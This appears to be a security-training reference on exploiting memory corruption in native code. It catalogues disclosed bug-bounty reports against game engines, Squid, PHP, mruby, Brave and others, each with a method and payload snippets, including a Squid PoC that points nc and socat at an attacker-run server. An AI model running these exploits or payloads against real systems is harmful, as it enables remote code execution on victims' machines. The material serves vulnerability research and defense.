Memory corruption is what happens when a native C/C++ program β a game engine, a kernel, a TLS library, a media codec, a filesystem parser β reads or writes outside the bounds of an object, or touches an object after it was freed. Because these programs manage their own memory, attacker bytes that land on the wrong side of a boundary can overwrite a saved return address, a function pointer, or a C++ vtable, and that overwrite is arbitrary code execution β usually as the logged-in user, often as root/kernel.
Unlike web bugs, you don't send a payload at a URL. You stand up a hostile counterparty β a malicious server, a peer on the same voice relay, a crafted asset the client auto-downloads, a USB filesystem β and drive it against a native parser that trusts a length, an index, or a pointer it shouldn't. The whole game is finding one place where attacker-controlled size/index/lifetime meets a fixed buffer or a stale pointer, then turning that primitive into control of the instruction pointer.
# Rebuild instrumented, then drive a hostile server/peer against it
CFLAGS="-fsanitize=address,undefined -g -O1" make
# example: PuTTY built with ASAN vs a malicious SSH-1 server -> instant heap overflow (#630462)
./ssh-keygen -t rsa1 -b 248 -f /tmp/ssh_host_rsa1_key # undersized key length
plink -1 -P 39000 root@localhost # ASAN: heap-buffer-overflow WRITE size 1
# Grep the source for the recurring vulnerable sink shapes
grep -RnE 'ReadBits|ReadBytes|memcpy|strcpy|sprintf|bcopy' src/ | grep -Ev 'sizeof|_s\(' # len into fixed buf
grep -RnE '\[[a-z_]*(iId|idx|index)\]' src/ # signed/unbounded index addressing a global table
grep -RnE '\(int\).*(len|size|Length)' src/ # 64->32 narrowing: alloc truncated, copy full (#1340942)
grep -RnE 'free\(|fdrop\(|_put\(|Release\(' src/ # diff add-path vs remove-path pairing (#3320669)
Find which primitive your crash gives you, then take the matching road to instruction-pointer control.
A wire-supplied or file-supplied length is copied into a fixed stack array with no bound, overwriting the saved return address. Fill past the return address, then chain gadgets. The unlock is a non-ASLR module or a constrained charset.
# #470520 Steam A2S_PLAYER: over-long player name in a UDP server-query reply, wide-char converted
player_name = u"δ
" * 1100 # UTF-16 code units land as 0x41 0x41 on the stack, no canary
# constraints: no 0x00xx (string terminator), no code units the lib maps to '?' (0x003F)
# ROP built entirely from Steam.exe gadgets: VirtualProtect(stack, RWX) -> jmp unicode shellcode
# #733267 Portal 2 voice: wire length read straight into a fixed stack buffer
# char voiceDataBuffer[4096];
# msg->m_DataIn.ReadBits(voiceDataBuffer, msg->m_nLength); // no bound on m_nLength
# #542180 L4D2 .nav: EIP=0x41414102; binkw32.dll ships WITHOUT ASLR -> plain ROP, no infoleak
// #513154 CS 1.6 WeaponList: iId is a signed char (-128..127)
void AddWeapon(WEAPON *wp){ rgWeapons[wp->iId] = *wp; } // negative iId reaches gEngfuncs fn table
// overwrite HUD_DirectorMessage fn ptr -> next SendCmd calls your gadget -> ROP
// #807772 Source msgs: ent_idx checked >= 0 but NOT upper-bounded
// entitylist[ent_idx<<4] with a large positive idx wraps to a negative offset -> attacker-chosen ptr
// stage a fake C++ object (vtable+ROP) in the global g_szMenuString[512] via ShowMenu,
// pick ent_idx so entitylist[idx] resolves to it -> virtual call -> EIP
An attacker length overruns a heap allocation into an adjacent object. The classic setup is an integer truncation between the allocation size and the copy size, or a codec/decoder loop that checks room once and writes many frames.
# #1340942 exFAT up-case table: dataLength 0x100000200 passed to a 32-bit size arg
# size truncates 64->32 to 0x200 -> tiny malloc, but the read copies the FULL 0x100000200 bytes
# overflow adjacent kernel objects (spray struct usb_endpoint) -> kernel code exec / jailbreak
# #1180252 Steam SILK decoder: outer check guarantees room for ONE frame,
# inner do/while keeps writing while moreInternalDecoderFrames is set -> output overrun
# #826026 PS4 setsockopt: race two threads on IPV6_2292PKTOPTIONS -> free struct ip6_pktopts in use
# reclaim the freed slot with a heap spray controlling ip6po_pktinfo -> arbitrary kernel R/W
# #3320669 netcontrol clear-queue drops the netevent ref AND the getsock_cap ref for a mismatched fd
# -> double fdrop -> socket UAF. #943231: IP6_EXTHDR_CHECK frees the mbuf, callers don't re-sync *mp
Real mitigation and constraint bypasses from the corpus, each tagged with the report it came from.
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 324 in this class.
Real-world example
Stack BOF in Steam server-browser A2S_PLAYER name -> unicode ROP RCE
β Critical
Specimen #470520 Β· valve Β· awarded Β· 1287 votes Β· resolved
Program valveSurface desktopChain malicious web page -> hidden iframe steam:// -> A2S_PL
Root cause
An over-long player name in the A2S_PLAYER server-query UDP response is copied into a fixed stack buffer during wide-char (unicode) conversion with no bounds check and no stack canary, overwriting the return address.
Method
- Run a rogue UDP server on 27015 that speaks the Valve server-query protocol
- Reply to A2S_PLAYER with a huge player name; unicode chars become wide-char so each 2-byte pair controls 4 stack bytes
- Build a unicode-safe ROP chain from Steam.exe gadgets calling VirtualProtect then jump to unicode-compatible shellcode
- Trigger by luring victim to a page with a hidden iframe using a steam:// URL, or via View server info
# A2S_PLAYER reply with player name = u"\u4141"*1100 -> stack fills with 0x41414141
# constraints: no 0x00xx bytes (string terminator), no chars the lib maps to '?' (0x003F)
# ROP built entirely from Steam.exe -> VirtualProtect(stack,RWX) -> jmp unicode shellcode (cmd.exe)
Insight β URL-protocol handlers (steam://) let a web page reach a native UDP/parsing bug remotely with zero clicks. Wide-char conversion doubles attacker control over the stack but forbids null and non-mappable code units β plan the ROP in the unicode charset.
Real-world example
L4D2 NAV navmesh file parser stack overflow -> EIP control
β Critical
Specimen #542180 Β· valve Β· 10000 Β· 268 votes Β· resolved
Program valveSurface desktopChain malicious server / workshop map -> NAV parse overflow -&gTag file-upload
Root cause
The NAV (navigation mesh) file parser copies attacker-controlled data into a stack buffer without bounds checks; loading a malformed .nav overwrites the saved return address (EIP=0x41414102).
Method
- Craft a malformed c1m1_hotel.nav
- Place in Left 4 Dead 2/left4dead2/maps and run map c1m1_hotel (or deliver via fake server / Steam Workshop campaign)
- EIP becomes attacker-controlled; because binkw32.dll ships without ASLR, a plain ROP chain works with no infoleak
# malformed .nav whose section counts/sizes overflow the parse stack buffer -> ROP via non-ASLR binkw32.dll
Insight β Look for one non-ASLR/non-PIE module shipped alongside a modern binary (here binkw32.dll) β it turns a bug that would need an infoleak into a one-shot ROP. Map/level asset formats parsed on load are prime remote surfaces via workshop content or fake servers.
Real-world example
CS 1.6 WeaponList msg: attacker-controlled array index write (rgWeapons[iId])
β Critical
Specimen #513154 Β· valve Β· 3000 Β· 229 votes Β· resolved
Program valveSurface desktopChain malicious server -> WeaponList index write -> overwrit
Root cause
MsgFunc_WeaponList reads iId as a signed CHAR (range -128..127) and AddWeapon writes rgWeapons[wp->iId] = *wp with no bounds check, giving a server-controlled negative/positive index write into the data section.
Method
- From a malicious server send a crafted WeaponList user message with an out-of-range iId
- Use the index to overwrite a function pointer inside the gEngfuncs engine function table
- Point it at a ROP gadget; trigger the chain via the next SendCmd / HUD_DirectorMessage
// vulnerable sink:
// void AddWeapon(WEAPON *wp){ rgWeapons[wp->iId] = *wp; LoadWeaponSprites(&rgWeapons[wp->iId]); }
// iId is signed char -> negative index reaches gEngfuncs; overwrite HUD_DirectorMessage fn ptr -> ROP
Insight β A signed index read from the wire + array write = arbitrary relative write. Always check the sign and bounds of any wire-supplied index used to address a global/static array; the write target is deterministic (statically-allocated table) so no ASLR leak is needed for the write itself.
Real-world example
Source-engine network messages: missing upper-bound on entity index -> OOB vfunc -> RCE
β Critical
Specimen #807772 Β· valve Β· 7500 Β· 219 votes Β· resolved
Program valveSurface desktopChain ShowMenu stages fake object -> OOB entity index -> vir
Root cause
Many Source user-messages (e.g. GlowPropTurnOff, EntityMsg) check ent_idx >= 0 but not the upper bound; entitylist[ent_idx<<4] with a large positive index wraps to a negative offset, returning an attacker-chosen pointer on which a virtual function is then called.
Method
- Use the ShowMenu message to plant a fully controlled fake object (with vtable + ROP) into the global wchar_t g_szMenuString[512]
- Compute an entity index that makes entitylist[idx] resolve to that buffer
- Send GlowPropTurnOff/EntityMsg with that index; the virtual call on the fake object pivots into the ROP chain
# ShowMenu: menu_string -> UTF16 -> g_szMenuString[512] (fake object + vtable + ROP)
# GlowPropTurnOff: ent_index chosen so (ent_index<<4) wraps entitylist ptr to g_szMenuString
# handle->GetBaseEntity() (virtual) -> attacker-controlled EIP
Insight β When a signed index is bounds-checked only on the low side, a large positive value shifted left overflows to negative and indexes arbitrary module memory. Pair an OOB-index-to-vptr bug with a controllable global string buffer (ShowMenu) to stage a fake C++ object.
Real-world example
Steam SILK voice decoder output-buffer overrun (moreInternalDecoderFrames)
β Critical
Specimen #1180252 Β· valve Β· 7500 Β· 195 votes Β· resolved
Program valveSurface desktopChain voice packet peer->peer -> SILK decode inner-loop over
Root cause
VoiceEncoder_SILK::Decode bounds-checks the destination for one frame, but the inner do/while keeps decoding while m_decControl.moreInternalDecoderFrames is set and advances pDestCurr past pDestEnd without re-checking, overrunning the output buffer.
Method
- Reach DecompressVoice() via a Steam/Source voice packet you send to a peer
- Supply SILK payload frames that make the decoder set moreInternalDecoderFrames so the inner loop iterates past the single-frame room check
- Overwrite stack/adjacent memory after pDestEnd
# voice packet: [8B steamid][1B type=SILK][2B size]<silk frames>[4B CRC]
# per-frame nSize loop; the pre-check guarantees room for ONE frame only, inner do/while writes many
Insight β Audit codec loops where the size check is outside an inner decode loop: 'room for one frame' checked once, then multiple frames written. Shared media/voice SDKs (used by many titles) turn one decoder bug into a wide blast radius.
Real-world example
Portal 2 voice packet stack overflow (unvalidated ReadBits length)
β Critical
Specimen #733267 Β· valve Β· 5000 Β· 173 votes Β· resolved
Program valveSurface desktopChain attacker voice packet -> server relay -> victim Proces
Root cause
CGameClient::ProcessVoiceData reads msg->m_nLength bits into a fixed char voiceDataBuffer[4096] with no length validation, so an oversized CLC_VoiceData packet overflows the stack.
Method
- Join a game with the victim (peer voice relay)
- Send a CLC_VoiceData message with m_nLength larger than 4096 bytes worth of bits
- ReadBits overflows the 4096-byte stack buffer -> code execution
// bool CGameClient::ProcessVoiceData(CLC_VoiceData *msg){
// char voiceDataBuffer[4096];
// msg->m_DataIn.ReadBits(voiceDataBuffer, msg->m_nLength); // no bound on m_nLength
// }
Insight β Voice/data-relay handlers copy attacker-sized wire lengths into fixed stack buffers. The client->server->client relay means one player can RCE another. Grep engine code for ReadBits/ReadBytes into fixed arrays with a wire-supplied length.
Real-world example
Source closed-captions SplitCommand stack overflow (cmd/args[256])
β Critical
Specimen #463286 Β· valve Β· 7500 Β· 109 votes Β· resolved
Program valveSurface desktopChain malicious captions asset -> SplitCommand tokenizer overflTag file-upload
Root cause
CHudCloseCaption::SplitCommand copies a '<...>' caption command into fixed wchar_t cmd[256]/args[256] via *out++ = *in++ with no bound; a crafted closed-captions file (reachable through GetNoRepeatValue) overflows the stack.
Method
- Deliver a malformed captions file to the client
- Parsing calls GetNoRepeatValue -> SplitCommand which copies an over-long <command> token into cmd[256]
- Stack overflow -> RCE
// while(*in && *in!=':' && *in!='>' && !isspace(*in)) *out++ = *in++; // out=cmd[256], no bound
// caption: <AAAAAA...(>256 wchars)...:x> overflows cmd
Insight β Tokenizers that copy until a delimiter into a fixed buffer overflow when the delimiter is simply omitted/pushed out of range. Localization/caption/subtitle parsers are overlooked asset surfaces.
Real-world example
CS:GO SplitScreen OOB + case-sensitive Content-Length infoleak -> reliable RCE chain
β Critical
Specimen #1070835 Β· valve Β· 7500 Β· 66 votes Β· resolved
Program valveSurface desktopChain HTTP Content-Length differential infoleak -> defeat ASLR
Root cause
Two bugs chained: an OOB access in CSVCMsg_SplitScreen gives RIP control, and CS:GO's HTTP map downloader only honors the first case-sensitive Content-Length header while curl honors a second lowercase content-length, causing an over-read that leaks memory to defeat ASLR.
Method
- Run a malicious server hosting custom map files over HTTP
- Send duplicate headers: `Content-Length: 1337` then `content-length: 0`; client allocates by the first, curl writes by the second -> buffer/heap desync leaks pointers
- Use the leak to compute base addresses, then trigger CSVCMsg_SplitScreen OOB for RIP control + ROP
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
content-length: 0
Connection: closed
Insight β Header parser disagreements (app does case-sensitive match, curl is case-insensitive) create length desyncs that leak memory β a request-smuggling-style parser differential used for an infoleak. Combine an infoleak bug with a control-flow bug for a 100%-reliable exploit instead of ASLR brute force.
Real-world example
32-bit size arithmetic overflow on 64-bit β undersized malloc β heap overflow
β Critical
Specimen #424447 Β· ibb (Perl) Β· awarded Β· 52 votes Β· resolved
Program ibb (Perl)Surface other
Root cause
Perl_my_setenv computes malloc size as (nlen + vlen + 2) using 32-bit ints for attacker-controlled string lengths; on 64-bit two ~2GB strings overflow the int, allocating a chunk far smaller than the following memcpy of nlen+vlen bytes.
Method
- Call setenv-equivalent with a very long name and value (e.g. ~2147483647 bytes each)
- nlen+vlen+2 overflows the 32-bit int used for the allocation size
- safesysmalloc returns a too-small chunk; the subsequent memcpy of the full name then value overflows the heap
$ENV{ 'A' x 2147483647 } = 'B' x 2147483647; # nlen+vlen+2 wraps a 32-bit int
Insight β Any allocation size that is a sum/product of attacker-influenced lengths held in int/32-bit types is an integer-overflow candidate even on 64-bit builds. The copy uses the full 64-bit lengths, but the alloc used the truncated width.
Real-world example
Missing bounds check β single-byte OOB write underflow β RCE
β Critical
Specimen #722327 Β· ibb (PHP-FPM) Β· USD 1500 Β· 42 votes Β· resolved
Program ibb (PHP-FPM)Surface webChain encoded newline β broken split_pathinfo β empty PATH_INFO β
Root cause
fpm_main.c computes path_info from PATH_INFO without checking it is non-empty; an empty PATH_INFO makes a pointer underflow, yielding a one-byte out-of-bounds write that is leveraged (via FCGI record/env layout grooming) into remote code execution. Reachable through Nginx configs where fastcgi_split_pathinfo regex can be broken with an encoded newline.
Method
- Find Nginx+php-fpm with fastcgi_split_pathinfo and try to send empty PATH_INFO by breaking the regex with %0a
- The empty PATH_INFO underflows path_info β single-byte OOB write in php-fpm
- Groom FastCGI env to convert the 1-byte write into code exec (see phuip-fpizdam exploit)
GET /index.php%0a... # newline breaks fastcgi_split_pathinfo regex β empty PATH_INFO to php-fpm
# exploit: https://github.com/neex/phuip-fpizdam
Insight β A 1-byte OOB write next to structured data (here FastCGI env records) is often enough for RCE via careful grooming. The bug is in php-fpm but exploitability hinges on the front-end (Nginx) regex letting an empty variable through β audit the whole request path, not just the vulnerable function.
Real-world example
Scripting-sandbox type confusion by redefining exception classes
β Critical
Specimen #185041 Β· shopify-scripts Β· awarded Β· 40 votes Β· resolved
Program shopify-scriptsSurface otherChain type confusion -> memory corruption -> potential arbit
Root cause
In the mruby (Ruby) sandbox, exception-class references used by mrb_raise are looked up dynamically (E_*_ERROR macros / constants). User script can redefine or override them so the raise path receives a non-exception object, causing type confusion in native code -> memory corruption / potential RCE.
Method
- Run attacker Ruby under the sandboxed script engine
- Redefine an exception constant (or override singleton .new) so it no longer yields an exception object
- Trigger a native code path that raises that exception -> engine dereferences a wrong-type object and crashes
# override so mrb_raise gets a non-exception object
NotImplementedError = String
Module.constants # native mrb_raise(mrb, E_NOTIMP_ERROR, ...) -> type confusion
# variant (#181871): override the singleton allocator
NoMethodError.define_singleton_method(:new) do "waat" end
Object.q # calling missing method -> native crash
Insight β When auditing embedded scripting sandboxes (mruby, Lua, JS engines), test whether host/native error paths resolve type-critical symbols dynamically from the guest namespace. If the guest can shadow exception/base classes or allocator methods, native error-raising becomes a type-confusion primitive.
Real-world example
base::Unretained on renderer object outlived by its child property β UAF
β Critical
Specimen #1977252 Β· brave Β· USD 3000 Β· 38 votes Β· resolved
Program braveSurface other
Root cause
JSEthereumProvider::Install binds a JS callback (isUnlocked) with base::Unretained(provider.get()) and attaches it under ethereum._metamask, wrongly assuming _metamask cannot outlive ethereum; JS can keep a reference to _metamask, delete ethereum (freeing provider), then invoke the callback on the dangling pointer.
Method
- From the wallet-injected page, save uafObj = ethereum._metamask
- delete ethereum; // frees the JSEthereumProvider backing provider.get()
- Force GC, then call uafObj.isUnlocked() β callback runs on freed provider (UAF, renderer crash / RCE primitive)
let uafObj = ethereum._metamask;
delete ethereum;
for(let i=0;i<100;i++){let a=new Array(1000000);}
console.log(await uafObj.isUnlocked());
Insight β In Chromium/Gin bindings, base::Unretained is a UAF landmine whenever a JS-reachable child object can retain a raw pointer to a parent that JS can independently free; audit CreateFunctionTemplate/BindRepeating(Unretained(x)) where x's lifetime is a sibling/parent of the exposed object. Prefer WeakPtr.
Real-world example
Type confusion in a sandboxed scripting engine via built-in class redefinition
β Critical
Specimen #185051 Β· shopify-scripts Β· awarded Β· 35 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
In Shopify's mruby-engine sandbox, a native function (wrap_decimal) looks up the Decimal class by name at runtime. Redefining Decimal (Decimal = Hash) makes the native code operate on an object of the wrong type - a type confusion leading to memory corruption / potential ACE inside the sandbox.
Method
- Redefine the built-in Decimal constant to another class
- Perform an operation that triggers the native wrap_decimal path (e.g. unary minus on an old Decimal instance)
- Observe native crash / memory corruption
olddecimal = Decimal.new(1)
Decimal = Hash
a = -olddecimal
puts a
Insight β In embedded/sandboxed interpreters (mruby, Lua, JS engines), native functions that resolve a class/type by name and assume its layout are type-confusion bugs: redefine or shadow the expected type so the C side casts a mismatched object. Hunt for native methods that fetch a constant then cast without a type check.
Real-world example
Signed protobuf index not lower-bounded β negative array index OOB write β RCE
β Critical
Specimen #876719 Β· valve Β· USD 7500 Β· 35 votes Β· resolved
Program valveSurface desktopChain OOB write β info leak (module base, ASLR bypass) β OOB write
Root cause
The CSVCMsg_ClassInfo handler indexes a freshly-allocated ClassInfo array by src->class_id but only checks class_id >= nClasses (upper bound), not class_id >= 0; a negative class_id yields pClasses[negative], an out-of-bounds write used for ASLR bypass + ROP β RCE. Affects all Source/Source2 protobuf-message games (CS:GO, Dota 2).
Method
- Send a CSVCMsg_ClassInfo network message with a class_t whose class_id is negative
- Handler passes the upper-bound check (class_id < nClasses) but not a lower bound β &pClasses[class_id] is before the array
- Use the OOB write first to leak client_panorama.dll base (ASLR bypass), then to divert control flow to a ROP chain β RCE
CSVCMsg_ClassInfo { classes { class_id: -N, data_table_name: ..., class_name: ... } } # negative index
Insight β Any index derived from a signed protobuf/int field needs BOTH bounds checked (>=0 and <len); an upper-only check is the classic signedness OOB. Protobuf/network message handlers that allocate N then index by a message field are prime targets across a game engine family.
Real-world example
Regex compiler/matcher bugs: octal>0xff OOB write, uninit var index, bad dmin/dmax deref
β Critical
Specimen #237915 Β· ibb (PHP/Oniguruma) Β· USD 1500 Β· 35 votes Β· resolved
Program ibb (PHP/Oniguruma)Surface other
Root cause
Multiple classes of memory corruption in the Oniguruma regex engine (used by PHP mbstring and Ruby): octal escapes >0xff mishandled in fetch_token produce out-of-range code points causing OOB write in next_state_val; an incorrect state transition in parse_char_class leaves a variable uninitialized then used as an index (OOB write); invalid reg->dmin/dmax in forward_search_range cause invalid pointer derefs.
Method
- Reach a regex API that compiles/matches an attacker-supplied pattern (mb_ereg / preg with Oniguruma, network-exposed filters)
- Supply patterns hitting each bug: an octal like \700 (>0xff), a char-class construct forcing the uninitialized-var path, or one driving bad dmin/dmax
- Trigger heap/stack OOB write or invalid deref during compilation or search
\700 # octal > 0xff -> OOB write in next_state_val (CVE-2017-9226)
[crafted char class] # uninitialized bitset_set_range index -> OOB write (CVE-2017-9228)
Insight β When an app compiles user-controlled regular expressions, the regex engine itself is the memory-corruption surface β not just ReDoS. Malformed patterns (out-of-range octal, degenerate char classes, empty ranges) reach uninitialized-index and bad-bound code paths. Fuzz the pattern compiler, not only the subject string.
Real-world example
mruby UAF via type-coercion callback shrinking the array (sandbox escape)
β Critical
Specimen #181321 Β· shopify-scripts Β· awarded Β· 29 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mrb_ary_to_h iterates an array and calls each element's user-defined to_ary during conversion, but re-reads array elements without rechecking length; a malicious to_ary that clears/neuters the array frees the backing buffer, so the loop reads out-of-bounds (UAF) and can be steered to a controlled write for RCE.
Method
- Define a class whose to_ary clears the global array being iterated and returns a non-array
- Put an instance into a global array and call to_h on it
- The freed/nulled buffer is dereferenced -> crash / controllable memory access
class A
def to_ary
$a.clear # frees backing buffer mid-iteration
nil
end
end
$a = [A.new]
$a.to_h
Insight β In scripting-engine sandboxes (mruby/Ruby), any native operation that iterates a collection while invoking user-overridable coercion methods (to_ary/to_i/to_s) is a reentrancy bug: the callback can free/resize/realloc the buffer the native code still holds, giving UAF/OOB. Audit every mrb_get_args / mrb_check_*_type call site.
Real-world example
Squid URN reply heap overflow via wrong remaining-length (CVE-2019-12526)
β Critical
Specimen #824771 Β· ibb Β· awarded Β· 29 votes Β· resolved
Program ibbSurface networkChain attacker upstream response -> heap overflow of urnState -
Root cause
When Squid handles a URN request it buffers the upstream reply into urnState->reqbuf (URN_REQBUF_SZ=4096). On repeated storeClientCopy calls the tempBuffer.length is set to the FULL buffer size instead of the remaining space (URN_REQBUF_SZ - reqofs), so an attacker-controlled upstream response overflows the heap-allocated urnState.
Method
- Configure Squid to permit URN (acl Safe_ports port 0)
- Stand up an attacker HTTP server that returns >4096 bytes of data
- Send `GET urn::@<attacker>:port/ HTTP/1.1` to Squid:3128
- Reply is copied a second time with length=URN_REQBUF_SZ rather than remaining -> heap overflow (ASAN: WRITE size 81 past 4184-byte region)
socat TCP-LISTEN:8080,fork SYSTEM:"python -c 'print(\"A\" * 4096)'"
echo -e "GET urn::@<attacker IP>:8080/ HTTP/1.1\r\n\r\n" | nc <squid> 3128
Insight β Classic bug pattern: an incremental read reuses the buffer's TOTAL capacity as the copy length on each pass instead of (capacity - current_offset). Audit any read loop that copies into buf+offset but passes sizeof(buf)/CAP as the length. Overflowing a buffer embedded inside a struct also corrupts a following pointer (urlres) that is later free()d -> arbitrary-free / UAF primitive; place a vtable pointer after the object for control of RIP.
Real-world example
GoldSrc DELTA_ParseDelta network stack overflow -> ROP RCE on client
β Critical
Specimen #484745 Β· valve Β· 3000 Β· 26 votes Β· resolved
Program valveSurface desktopChain malicious server -> svc_deltadescription + svc_event ->Tag account-takeover
Root cause
A malicious game server sends a svc_deltadescription packet defining structure field descriptors (type, offset, size), then delta packets. DELTA_ParseDelta writes each field at attacker-supplied field_offset without checking field_offset+field_size against the target stack struct bounds, giving a controlled stack overflow.
Method
- Malicious server sends svc_deltadescription describing event_t layout with a field at offset 0xac (the ParseEvent return address)
- Server sends svc_event; ParseEvent allocates event_t on the stack and DELTA_ParseDelta fills it from the delta, overflowing into the saved return address
- String fields copy until NUL, so extra Integer-typed fields are placed to write bytes containing zeros into the payload
- Client connects to 127.0.0.1 running poc.py and the ROP chain pops xcalc
# field-descriptor layout that overwrites ParseEvent return address
payload: {type=String, offset=0xac} # 0xac = offset of return addr in ParseEvent
int1: {type=Integer, offset=0xac + <int1 off>} # Integer fields inject bytes with >=2 zeros
...
intn: {type=Integer, offset=0xac + <intn off>}
# NX enabled -> ROP: strncpy-build "/usr/bin/xcalc"+"DISPLAY=:0" in .bss,
# Sys_LoadModule("hw.so") to leak its base, then execve via int 0x80 gadget in hw.so
Insight β When a protocol lets the peer describe how to deserialize a structure (field type/offset/size table), the offset/size are an attacker-controlled write primitive. Always look for delta/diff/patch protocols that fill fixed structs from wire-supplied offsets without re-validating them against the destination size. Fixed-address main module (no ASLR) supplies ROP gadgets even when other libs are randomized.
Real-world example
MK8DX tournament metadata ChunkData parser overflow (unvalidated TLV length)
β Critical
Specimen #1688309 Β· nintendo Β· awarded Β· 23 votes Β· resolved
Program nintendoSurface otherChain create competition (aux bug) -> malicious ChunkData metad
Root cause
Mario Kart 8 Deluxe parses a tournament's 'metadata' field (ChunkData TLV: magic 0x5a5a, then {u8 id, u16 length, data}). ChunkDataAccessor::parse() reads `length` from the stream and readMemBlock's that many bytes into a fixed tmpBuffer (0x400) without validating length, so an oversized chunk overwrites class members with (mostly server-bounded) data and crashes the process.
Method
- Create/inject a competition whose metadata ChunkData contains a chunk with length larger than the 0x400 temp buffer
- Victim opens the Tournament menu; CompetitionInfo::extractUniqueAppData_ resets accessor over the 0x200 metadata and parses
- parse() readMemBlock(tmpBuffer, length) with unvalidated length overruns tmpBuffer -> corrupts members -> crash / null-deref
ChunkData = u16 magic(0x5a5a) || ChunkDataList[] || u8 end(0xff)
ChunkDataList = u8 id || u16 length || data[length]
// vuln: readStream.readMemBlock(this->tmpBuffer /*0x400*/, length); // length not checked
Insight β TLV parsers that trust the embedded length field before copying are a reliable memory-corruption source. Even when a server enforces a transport size cap (0x200 here), a client-side buffer smaller/mismatched relative to that cap (or a second larger 0x400 path) still overflows. Always compare the parser's local buffer size against the maximum the length field can express, not against the transport limit.
Real-world example
Squid reverse-proxy Host-header stack buffer overflow (RCE)
β Critical
Specimen #778610 Β· ibb Β· awarded Β· 17 votes Β· resolved
Program ibbSurface network
Root cause
When Squid runs as a reverse proxy (accel/vhost/vport), parsing the Host header writes into a stack buffer via an overflowing subtraction, allowing a write past the buffer with attacker bytes; fixed in Squid 4.10.
Method
- Build Squid <=4.8 without -fstack-protector and configure it as a basic accelerator (accel defaultsite vhost vport)
- Send a request whose Host header is a very long string
- Squid aborts: 'buffer overflow detected'; a specific length instead leaks uninitialized bytes after the buffer
echo -en "GET / HTTP/1.1\x0D\x0AHost: xxxxxxxx...(long)...xxxx:\x0D\x0A\x0D\x0A" | nc localhost 9999
Insight β Reverse-proxy Host/absolute-URI handling is a classic buffer sink; test proxies/CDNs with pathologically long Host values. Exploitation notes worth reusing: no leading NUL can be written (string-terminated copy) so 32-bit is easier; musl libc doesn't NUL-terminate on huge sizes (OpenWRT/Alpine easier); with stack protector only DoS; overwriting a boolean config var can be as useful as the return address.
Real-world example
Dangling pointer from incomplete error path β UAF on next call (Python LZMA)
β Critical
Specimen #172562 Β· ibb Β· 1500 Β· 16 votes Β· resolved
Program ibbSurface other
Root cause
LZMADecompressor.decompress() sets lzs->next_in = data on first call; if decompress_buf() fails on a malformed stream it returns WITHOUT clearing lzs->next_in. The caller then releases the data buffer, so lzs->next_in dangles. A subsequent decompress() on the same object memcpy's into the freed pointer β memory corruption / code execution.
Method
- Create one LZMADecompressor instance
- Call decompress() with a malformed LZMA stream so decompress_buf fails but leaves next_in set; the input bytes object is then freed
- Call decompress() again on the same instance β memcpy((void*)(lzs->next_in + avail_in), data, len) writes into freed memory
- Heap-spray freed region for controlled write / ret2libc
import _lzma
d = _lzma.LZMADecompressor()
for x in range(2):
try: d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41" * (0x100//16))
except: pass
# fix: on decompress_buf failure, set lzs->next_in = 0 before return
Insight β Error paths that return early but leave a cached pointer to a caller-owned/soon-freed buffer are a reliable UAF pattern in streaming/stateful C APIs. When auditing decompressors/parsers with a persistent state object, check that every failure branch nulls cached input pointers. Remotely reachable wherever untrusted LZMA/compressed streams are decoded incrementally.
Real-world example
Error-path cleanup frees uninitialized memory + unsigned loop underflow (PHP imagescale)
β Critical
Specimen #478367 Β· ibb Β· 1500 Β· 16 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
_gdContributionsAlloc(): when overflow2(windows_size) trips, overflow_error is set and the cleanup loop frees already-allocated Weights β but no lines are allocated yet, so it frees an uninitialized res->ContribRow[i].Weights. Worse, u is decremented to (unsigned)-1 before the freeing loop, so the loop condition i<=u wraps; combined this yields efree() on garbage β UAF/heap corruption (CVE-2016-10166, plus a second free bug).
Method
- Call imagescale() with dimensions that make overflow2(windows_size, sizeof(double)) return true on the first iteration
- overflow_error=1 triggers the cleanup free-loop with u=0, then u-- underflows to a huge unsigned value
- gdFree runs over uninitialized/garbage Weights pointers β corruption; exploitable for safe-mode bypass, possibly remotely
<?php imagescale($img, HUGE_WIDTH, HUGE_HEIGHT); // pick sizes so overflow2(windows_size,sizeof(double)) is true
Insight β Two reusable primitives: (1) integer-overflow guard branches whose cleanup frees buffers that were never allocated; (2) `u--` on an unsigned before a `for(i=0;i<=u;i++)` loop underflows to SIZE_MAX and iterates wildly. Audit overflow/error branches in allocators for both, especially image/media libs invoked on uploaded files.
Real-world example
mruby struct type confusion -> instruction pointer control
β Critical
Specimen #181879 Β· shopify-scripts Β· USD 18000 Β· 14 votes Β· resolved
Program shopify-scriptsSurface otherChain type confusion -> arbitrary R/W -> IP control -> RCTag supply-chain
Root cause
A type-confusion bug in the mruby interpreter (used to sandbox Shopify Scripts) lets an attacker-supplied Ruby script cause a struct to be interpreted as the wrong type, yielding an arbitrary read/write primitive and control of the instruction pointer (PoC jumps to 0x0000133713371337).
Method
- Run attacker Ruby inside the mruby sandbox
- Trigger the struct type confusion to build an arbitrary read/write primitive
- Overwrite a function pointer / vtable to control execution flow
# see attachment 134430_mruby-read-write-primitive.rb (annotated PoC)
Insight β Any service that runs 'sandboxed' user scripts in an embedded VM (mruby, Lua, JS engines) is a memory-corruption attack surface; type-confusion in the interpreter's object model typically escalates straight to R/W primitive -> IP control -> RCE, escaping the script sandbox.
Real-world example
GoldSrc BSP WAD-list stack overflow -> RCE (COM_FileBase)
β Critical
Specimen #675710 Β· valve Β· 750 Β· 11 votes Β· resolved
Program valveSurface otherChain malicious map download -> BSP WAD-list parse -> stack
Root cause
TEX_InitFromWad passes each WAD path from a map's BSP WAD list to COM_FileBase, which copies the filename into a small fixed stack buffer with no bounds check; a long WAD name overflows the stack and (with no ASLR on hl.exe) yields reliable code execution.
Method
- Author a malicious map whose BSP WAD list contains an overlong WAD filename
- Serve it so clients download and load the map (map/resource download)
- COM_FileBase overflows the stack buffer during TEX_InitFromWad -> control EIP -> execute a dropped file
BSP 'wad' worldspawn key containing an overlong AAAA...\path\<oversized>.wad filename
Insight β Game/asset file formats that embed file paths are stack-overflow goldmines: any COM_FileBase / basename-into-fixed-buffer copy without a length cap is exploitable, and legacy engines often ship without ASLR making it deterministic.
Real-world example
Exim base64 decoder off-by-one heap overflow -> pre-auth RCE
β Critical
Specimen #322935 Β· ibb Β· awarded Β· 11 votes Β· resolved
